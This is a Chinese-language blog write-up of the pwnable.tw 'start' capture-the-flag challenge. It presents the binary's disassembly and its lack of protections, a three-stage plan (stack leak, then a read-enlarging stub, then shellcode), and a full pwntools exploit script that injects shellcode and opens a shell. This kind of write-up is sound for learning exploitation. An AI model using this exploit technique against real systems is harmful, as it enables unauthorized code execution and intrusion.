

# pwnable.tw start writeup

原创

Ancienty 于 2017-09-27 00:28:28 发布 1293 收藏

分类专栏: [ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_29343201/article/details/78108543](https://blog.csdn.net/qq_29343201/article/details/78108543)

版权



[ctf](#) 专栏收录该内容

50 篇文章 2 订阅

订阅专栏

## 题目

```
.text:08048060
.text:08048060      public _start
.text:08048060      _start      proc near
.text:08048060          push     esp
.text:08048061          push     offset _exit
.text:08048066          xor      eax, eax
.text:08048068          xor      ebx, ebx
.text:0804806A          xor      ecx, ecx
.text:0804806C          xor      edx, edx
.text:0804806E          push     3A465443h
.text:08048073          push     20656874h
.text:08048078          push     20747261h
.text:0804807D          push     74732073h
.text:08048082          push     2774654Ch
.text:08048087          mov     ecx, esp      ; addr
.text:08048089          mov     dl, 14h      ; len
.text:0804808B          mov     bl, 1        ; fd
.text:0804808D          mov     al, 4
.text:0804808F          int     80h          ; LINUX - sys_write
.text:08048091          xor      ebx, ebx
.text:08048093          mov     dl, 3Ch
.text:08048095          mov     al, 3
.text:08048097          int     80h          ; LINUX -
.text:08048099          add     esp, 14h
.text:0804809C          retn
```

输入位置直接就在栈上返回地址开始的位置

checksec

```
[*] '/pwn/start/start'
Arch:      i386-32-little
RELRO:     No RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       No PIE (0x8048000)
```

什么保护都没开

## 分析

漏洞根本不用找，直接用就行，利用的时候主要问题在于不能直接ROP，也没法直接输入shellcode，因为输入位置在栈上，没有栈地址也没法用。

于是我使用的利用思路：

1. 泄露栈地址，通过控制执行流之后跳到0x804808b的位置，len这个时候是大于0x14的，于是可以泄露出栈地址，并且之后可以在进行一次读，于是继续控制执行流
2. 第二次控制执行流，写入一阶段shellcode，并且设置rop-chain，先进行一阶段shellcode，之后回到0x8048095进行第三次控制执行流，这里的原因是写入shellcode的空间不够，所以通过分阶段来扩大控制能力。一阶段shellcode只需要改大di，也就是读的大小
3. 第三次控制执行流，由于di已经改大，我们可以输入更大的大小，于是先 `sub esp, 0x100` 开辟栈空间，否则栈空间与执行位置重合（其实之前的所有操作都是因为我不想自己写shellcode，想直接用pwntools的shellcode，而它的shellcode会用到栈，于是进行了一系列操作。。），然后再执行pwntools的shellcode即可

## exp

exp中的各种偏移都是调试时候的内容，由于每次调试的绝对位置不一样，可能数据看起来有些奇怪，不过不是很影响

```

import sys
from pwn import *
context(os='linux', arch='i386', log_level='debug')

GDB = 1
if len(sys.argv) > 2:
    p = remote(sys.argv[1], int(sys.argv[2]))
else:
    p = process("./start")

def main():
    if GDB:
        raw_input()
        payload = p32(0x804808b) # write
        p.recvuntil('CTF:')
        payload = payload.rjust(0x14 + 4, '\x00')
        p.send(payload)

        raw_input()

        leak = u32(p.recv(0x18 + 4)[-4:]) # bb
        shellcode1_addr = leak - (0xa0 - 0xb8)
        shellcode2_addr = leak - (0x310 - 0x33c + 4) + 8
        shellcode = asm(
            """
            mov dl, 0xff
            ret
            """
        )

        payload = ""
        payload = payload.ljust(0x30 - 0x04, '\x90')
        assert len(payload) == 0x30 - 0x04
        payload += p32(shellcode1_addr)
        payload += p32(0x8048095)
        payload += shellcode
        p.send(payload)

        raw_input()

        payload = ""
        payload = payload.ljust(0xf5c - 0xf14, '\x00')
        payload += p32(shellcode2_addr)
        payload += asm("""
            sub esp, 0x100
            """)
        payload += asm(shellcraft.sh())
        p.send(payload)
        raw_input()
        p.interactive()

if __name__ == "__main__":
    main()

```



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)